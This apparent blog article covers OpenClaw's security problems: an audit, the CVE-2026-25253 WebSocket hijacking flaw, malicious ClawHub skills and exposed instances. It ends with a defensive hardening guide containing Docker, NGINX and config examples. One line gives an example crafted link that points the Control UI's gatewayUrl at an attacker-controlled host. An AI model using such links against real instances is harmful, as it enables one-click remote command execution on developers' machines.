OpenClaw Security: 512 Vulnerabilities and How to Stay Safe

Quick Verdict: OpenClaw Is Usable — If You Harden It

I have been running infrastructure professionally for over 25 years. I have deployed everything from bare-metal Windows Server clusters to containerized microservices behind reverse proxies. When I look at OpenClaw, I see a tool with genuine capability and serious security gaps. Those two things are not mutually exclusive.

OpenClaw is not inherently broken. It is, however, inherently insecure in its default configuration. The difference matters. A tool that ships with weak defaults but supports hardening is not the same as a tool that is fundamentally flawed. OpenClaw falls into the first category — which means your security posture depends entirely on what you do after installation.

This article breaks down every major security concern, explains the real-world impact, and gives you a practical hardening guide based on how I would actually deploy this in my own infrastructure. If you are considering OpenClaw for your development workflow, read this before you run that first openclaw init.

The Numbers: OpenClaw’s Security Track Record

On January 25, 2026, Argus Security Platform published a comprehensive audit of OpenClaw’s codebase and ecosystem. The findings were not encouraging for anyone running the defaults.

The 512 vulnerabilities span multiple categories: authentication weaknesses, secrets management failures, dependency vulnerabilities, and application-level security issues. Six GitHub Security Advisories in a three-week window is an unusually high rate, even for a fast-moving open-source project.

The absence of a bug bounty program and a dedicated security team is particularly notable. For a tool that executes code on developer machines and handles API credentials, this is a significant organizational gap. Compare this to projects like VS Code or Docker, which have established responsible disclosure programs and dedicated security engineers.

These numbers alone do not tell the full story. Context matters. OpenClaw is a relatively young project experiencing rapid adoption, and some of these vulnerabilities are in dependencies rather than core code. But the pattern they paint — fast growth outpacing security investment — is one that experienced engineers recognize as a warning sign.

The Critical Vulnerability: CVE-2026-25253

Of the 8 critical vulnerabilities in the Argus audit, CVE-2026-25253 deserves special attention because of its attack simplicity and potential impact. It carries a CVSS score of 8.8, which places it firmly in the “high” severity range, and the attack requires nothing more than getting a developer to click a link.

How the Attack Works

OpenClaw’s Control UI — the web-based management interface — accepts a gatewayUrl query parameter. This parameter tells the UI which OpenClaw gateway to connect to. The problem: the UI accepts this parameter without any validation and auto-connects on page load.

This creates a cross-site WebSocket hijacking attack vector. An attacker can craft a URL like:

https://your-openclaw-instance/control?gatewayUrl=wss://attacker-controlled-server.example.com

When a developer clicks that link — perhaps embedded in a GitHub issue comment, a Slack message, or a phishing email — their Control UI silently connects to the attacker’s server via WebSocket. From there, the attacker can execute arbitrary commands through the OpenClaw gateway with whatever permissions the developer’s instance has.

This is a one-click remote code execution vulnerability. No user interaction beyond clicking the link is required. No pop-ups, no warnings, no confirmation dialogs.

Who Discovered It and the Fix

The vulnerability was discovered by Mav Levin at DepthFirst and was patched in OpenClaw v2026.1.29. If you are running any version prior to this, you need to update immediately. There is no workaround — the fix requires the patched code.

Why This Matters Beyond the CVE

CVE-2026-25253 is significant not just for what it does, but for what it reveals about OpenClaw’s security design philosophy. The Control UI was built for convenience — auto-connecting to gateways, accepting URLs as parameters — without considering the adversarial implications. This is a pattern I see repeatedly in developer tooling: the assumption that the user environment is trusted.

In 2026, that assumption is no longer safe. Developer machines are high-value targets. They contain SSH keys, cloud credentials, source code, and database access. A tool that can be weaponized with a single click needs to treat every input as potentially hostile.

The ClawHub Supply Chain Attack

If CVE-2026-25253 is a sniper shot, the ClawHub situation is a minefield. And it is arguably the more dangerous of the two.

What ClawHub Is

ClawHub is OpenClaw’s community marketplace for “skills” — pre-built capabilities that extend what OpenClaw can do. Think of it as npm or PyPI, but for AI agent workflows. Skills can automate tasks, integrate with APIs, process data, and interact with your filesystem and network.

Skills can also execute arbitrary code on your machine. This is by design — it is how they provide their functionality. But it also means a malicious skill has the same access as any program you run locally.

The Audit

Oren Yomtov, a security researcher at Koi Security, conducted a systematic audit of all 2,857 skills available on ClawHub at the time. The results are sobering:

• 341 skills were identified as malicious
• 335 of those belonged to a single coordinated campaign dubbed “ClawHavoc”
• The campaign targeted both macOS and Windows users
• The remaining 6 malicious skills appeared to be independent, opportunistic entries

That is a 12% malicious rate across the entire ClawHub ecosystem. One in eight skills was designed to compromise your machine.

How ClawHavoc Operated

The ClawHavoc campaign was not a crude operation. 335 malicious skills spread across a marketplace of 2,857 indicates significant effort in creating plausible-looking entries with descriptions, documentation, and functionality that appeared legitimate. The malicious payloads were embedded alongside real functionality, making casual inspection insufficient to detect them.

This is the classic supply chain attack pattern that has hit npm (event-stream), PyPI (multiple campaigns), and the VS Code extension marketplace. The difference is scale relative to ecosystem size. npm had malicious packages representing a tiny fraction of its millions of entries. ClawHub’s 12% rate is orders of magnitude worse.

What This Means for You

If you have installed skills from ClawHub without vetting them, you should assume compromise is possible. At minimum:

• Audit every installed skill against the Koi Security findings
• Check for unexpected processes, network connections, or file modifications
• Rotate any API keys or credentials that were accessible to OpenClaw
• Review your system for persistence mechanisms (cron jobs, launch agents, startup items)

Exposed Instances: 42,000 and Counting

Internet-wide scanning has identified over 42,000 publicly exposed OpenClaw instances. These are gateways and Control UIs that are accessible from the open internet without authentication barriers.

This is not entirely OpenClaw’s fault — users are responsible for their network configuration — but it does reflect a failure in defaults and documentation. When a tool’s setup guide does not prominently warn against public exposure, and the default configuration binds to 0.0.0.0 rather than 127.0.0.1, this outcome is predictable.

Combined with CVE-2026-25253, those 42,000 instances represent 42,000 potential remote code execution targets. Palo Alto Networks described OpenClaw as a “potential biggest insider threat of 2026” — and while that phrasing is dramatic, it is not unfounded when you consider the attack surface of tens of thousands of exposed developer environments.

What the Industry Is Saying

The security community’s response to OpenClaw has been unusually unified in its concern:

• Palo Alto Networks: Called it a “potential biggest insider threat of 2026”
• Gary Marcus (AI researcher): Described it as “a disaster waiting to happen”
• Dutch Data Protection Authority: Issued a formal warning about cybersecurity and privacy risks
• Kaspersky: Found it “unsafe for use” in its default configuration

When a data protection regulator, multiple security vendors, and prominent AI researchers are all raising the same flag independently, it warrants attention. This is not the normal background noise of security FUD. These are specific, substantiated concerns backed by audit data.

Other Security Concerns Worth Knowing

Plaintext Credential Storage

OpenClaw stores OAuth credentials in plaintext JSON files without encryption. If you connect OpenClaw to GitHub, GitLab, Slack, or any other OAuth-enabled service, those tokens sit in readable JSON on your filesystem.

For a single-user development machine, this is a moderate risk — it depends on who else has access to your filesystem. For shared environments, CI/CD pipelines, or any multi-tenant setup, this is a serious exposure. Any process or user with read access to those files can exfiltrate your OAuth tokens.

Rapid Vulnerability Discovery Rate

Six GitHub Security Advisories in three weeks is a high cadence. It suggests either that the codebase has a substantial backlog of undiscovered vulnerabilities (which the 512-finding audit confirms), or that security scrutiny has only recently increased. Probably both.

This is a double-edged dynamic. More advisories means more bugs are being found and fixed, which is positive. But it also means the tool you installed last week may have had vulnerabilities that were not yet known. Frequent updates are not optional with OpenClaw — they are a security requirement.

Practical Hardening Guide: 10 Steps to Secure Your OpenClaw Installation

Here is how I would deploy OpenClaw if I needed to use it in my own infrastructure. These are not theoretical recommendations — they are the steps I would actually take before letting this tool anywhere near my credentials or codebase.

1. Update to the Latest Version (v2026.2.17 or Later)

This is non-negotiable. Versions prior to v2026.1.29 are vulnerable to CVE-2026-25253, and subsequent releases have addressed additional issues from the Argus audit.

openclaw update
openclaw --version
# Verify you are on v2026.2.17 or later

2. Store API Keys in .env Files with Restricted Permissions

Do not use OpenClaw’s default credential storage. Move all API keys and tokens to .env files and lock down the permissions.

# Create a dedicated .env file for OpenClaw
touch ~/.openclaw/.env
chmod 600 ~/.openclaw/.env

# Add your keys (example)
echo 'OPENAI_API_KEY=sk-your-key-here' >> ~/.openclaw/.env
echo 'GITHUB_TOKEN=ghp_your-token-here' >> ~/.openclaw/.env

# Verify permissions
ls -la ~/.openclaw/.env
# Should show: -rw------- (owner read/write only)

The chmod 600 ensures only your user account can read the file. No group access, no world access. This is the bare minimum for credential storage.

3. Run openclaw doctor Regularly

OpenClaw includes a diagnostic command that checks for common security misconfigurations. Run it after installation and after every update.

openclaw doctor

Review every warning it produces. Do not ignore warnings about exposed ports, weak permissions, or outdated dependencies. Treat openclaw doctor like you would treat a security scanner — its findings are actionable items, not informational noise.

4. Audit Every Skill Before Installing from ClawHub

Given the 12% malicious rate on ClawHub, you cannot trust the marketplace blindly. Before installing any skill:

• Read the skill’s source code (not just the description)
• Check the author’s profile and publication history
• Look for network calls, file system access, or subprocess execution that does not match the skill’s stated purpose
• Search for the skill name plus “malware” or “malicious” before installing
• Prefer skills with high download counts and recent activity from established authors

If you cannot read the source code or the skill is obfuscated, do not install it. Full stop.

5. Run OpenClaw in a Container or Virtual Machine

Network isolation is the single most effective hardening measure you can apply. Running OpenClaw inside a container or VM limits what a compromised instance can access.

# Docker example with restricted networking
docker run -d \
  --name openclaw \
  --network=bridge \
  -p 127.0.0.1:3100:3100 \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/.env:/app/.env:ro \
  --read-only \
  --tmpfs /tmp \
  --cap-drop=ALL \
  openclaw/openclaw:latest

Key flags in this command:

• 127.0.0.1:3100:3100 — binds only to localhost, not all interfaces
• --read-only — prevents the container from writing outside mounted volumes
• --cap-drop=ALL — removes all Linux capabilities
• :ro on the .env mount — prevents modification of your credentials file

6. Disable Auto-Connect in the Control UI

This directly mitigates CVE-2026-25253 and any future variants. Even after patching, disabling auto-connect is defense in depth.

In your OpenClaw configuration file (~/.openclaw/config.yaml or equivalent):

control:
  autoConnect: false
  allowedGateways:
    - "ws://127.0.0.1:3100"
    # Add only your known, trusted gateway addresses

With auto-connect disabled, the Control UI will require manual confirmation before connecting to any gateway. The allowedGateways whitelist adds a second layer by rejecting connections to any URL not in the list.

7. Review Gateway Security Settings

OpenClaw’s gateway is the component that executes actions on your behalf. Its security configuration determines what the tool can and cannot do. Review the official documentation at docs.openclaw.ai/gateway/security and at minimum:

• Enable authentication on the gateway endpoint
• Restrict which skills can access which system resources
• Set up logging for all gateway actions
• Configure rate limiting to prevent abuse
• Disable any default skills you do not actively use

8. Run Behind a Reverse Proxy

If you need to access OpenClaw from anywhere other than localhost, put it behind a reverse proxy with proper TLS termination, authentication, and access control.

# Example NGINX reverse proxy configuration
server {
    listen 443 ssl http2;
    server_name openclaw.internal.example.com;

    ssl_certificate /etc/ssl/certs/openclaw.pem;
    ssl_certificate_key /etc/ssl/private/openclaw.key;

    # Basic auth as additional layer
    auth_basic "OpenClaw Access";
    auth_basic_user_file /etc/nginx/.openclaw_htpasswd;

    # Restrict to known IPs
    allow 10.0.0.0/8;
    allow 192.168.0.0/16;
    deny all;

    location / {
        proxy_pass http://127.0.0.1:3100;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }
}

This configuration adds TLS encryption, basic authentication, and IP-based access control on top of whatever OpenClaw provides natively. Layered security is not optional when the underlying application has known trust boundary issues.

9. Monitor for Anomalous Behavior

Set up monitoring for your OpenClaw instance. At minimum, watch for:

• Unexpected outbound network connections (especially to unknown hosts)
• File system changes outside your designated workspace
• New processes spawned by the OpenClaw process
• Unusual CPU or memory usage that could indicate cryptomining
• Changes to your credential files or environment variables

On Linux, tools like auditd, falco, or even simple inotifywait scripts can provide this visibility. On macOS, the built-in log command and Endpoint Security framework offer similar capabilities.

10. Establish an Update Cadence

Given OpenClaw’s current vulnerability discovery rate, checking for updates weekly is the minimum. Subscribe to the OpenClaw security advisories on GitHub and apply patches within 48 hours of release for any critical or high severity issues.

# Add to your weekly maintenance routine
openclaw update --check  # Check for available updates
openclaw update          # Apply updates
openclaw doctor          # Verify configuration after update

Automate this if possible. A tool with this many active security findings should not be running stale versions.

Should You Still Use OpenClaw?

Yes — with eyes open and controls in place.

OpenClaw offers capabilities that are genuinely useful for developer workflows. The ability to build custom AI-powered automation with a flexible skill system is compelling. The open-source model means you can audit the code yourself, contribute fixes, and avoid vendor lock-in. These are real advantages.

But I would not run it the way most people run it. The default configuration is not production-ready from a security standpoint. The ClawHub ecosystem has a demonstrated supply chain problem. The project lacks the security infrastructure (dedicated team, bug bounty, security audit program) that you would expect for a tool with this level of system access.

Here is my decision framework:

The core question is not “is OpenClaw secure?” — it is “can I make it secure enough for my use case?” For most developer workflows on isolated machines, the answer is yes, provided you invest the time in hardening. For anything touching production data or regulated environments, wait for the project to mature.

OpenClaw Security vs Claude Code Security: A Brief Comparison

Since many developers are evaluating both tools, a security comparison is relevant. These are fundamentally different architectures with different trust models.

The architectural difference is significant. OpenClaw’s self-hosted model gives you more control but more responsibility. Claude Code’s API-based model has a smaller attack surface by design but requires trusting Anthropic’s infrastructure. Neither approach is universally better — they optimize for different priorities.

For a deeper comparison of capabilities beyond security, see our OpenClaw vs Claude Code comparison.

Frequently Asked Questions

Has OpenClaw been hacked in the wild?

There are no confirmed reports of mass exploitation as of February 2026. However, the ClawHavoc campaign on ClawHub did target real users with malicious skills, and 42,000+ exposed instances represent an ongoing risk. The absence of confirmed breaches likely reflects limited visibility rather than limited exploitation — most developers would not detect a compromised skill without actively looking for it.

Is the ClawHavoc campaign still active?

The 335 identified malicious skills from the Koi Security audit have been flagged, but there is no indication that ClawHub has implemented automated scanning to prevent new malicious entries. Treat any ClawHub skill as potentially unvetted and inspect the source code before installation.

Can I use OpenClaw safely without following all 10 hardening steps?

Steps 1 through 4 (update, secure credentials, run doctor, audit skills) are the absolute minimum. Skipping the container isolation (step 5) means a compromised skill has access to your entire user environment. Skipping the reverse proxy (step 8) is acceptable if you only access the UI from localhost. Prioritize based on your threat model, but do not skip the first four.

Should I uninstall OpenClaw if I already have it running with default settings?

Do not panic-uninstall. Instead: update to the latest version immediately, run openclaw doctor, audit your installed skills against the Koi Security findings, rotate any API keys or tokens that were stored in OpenClaw, and then implement the hardening steps. If you find evidence of compromise (unexpected network connections, modified files, unknown processes), then isolate the machine and perform a thorough investigation before continuing to use it.

Will OpenClaw’s security improve over time?

Probably. The level of scrutiny the project is receiving from Argus, Koi Security, DepthFirst, and the broader security community creates strong pressure to improve. The rapid patch for CVE-2026-25253 shows the maintainers can respond quickly. What is missing is proactive security investment: a dedicated team, a bug bounty program, automated skill scanning on ClawHub, and secure-by-default configurations. Until those structural changes happen, the burden of security remains on you as the operator.

Final Thoughts

OpenClaw is a capable tool with a security profile that demands respect and attention. The January 2026 audit, the ClawHavoc campaign, and the 42,000 exposed instances paint a clear picture: this is not a tool you install and forget about.

But it is also not a tool you need to avoid entirely. With proper hardening — updated versions, locked-down credentials, container isolation, careful skill vetting, and network controls — you can bring the risk down to an acceptable level for most development workflows.

The key insight from 25 years of infrastructure work is this: almost no tool is secure by default. The ones that are widely trusted earned that trust through years of hardening, both by their maintainers and by the community. OpenClaw is early in that process. If you choose to use it now, you are accepting the responsibility to do the hardening yourself.

I would not run this on a machine with production credentials without every step in the hardening guide above. But hardened properly, on an isolated development machine, for the right use cases? It is a reasonable choice. Just go in with your eyes open.

Related Articles

• How to Set Up OpenClaw: Complete Guide for Developers
• OpenClaw vs Claude Code: Which AI Agent Should Developers Use?
• Best AI Coding Tools for Developers in 2026: The Definitive Guide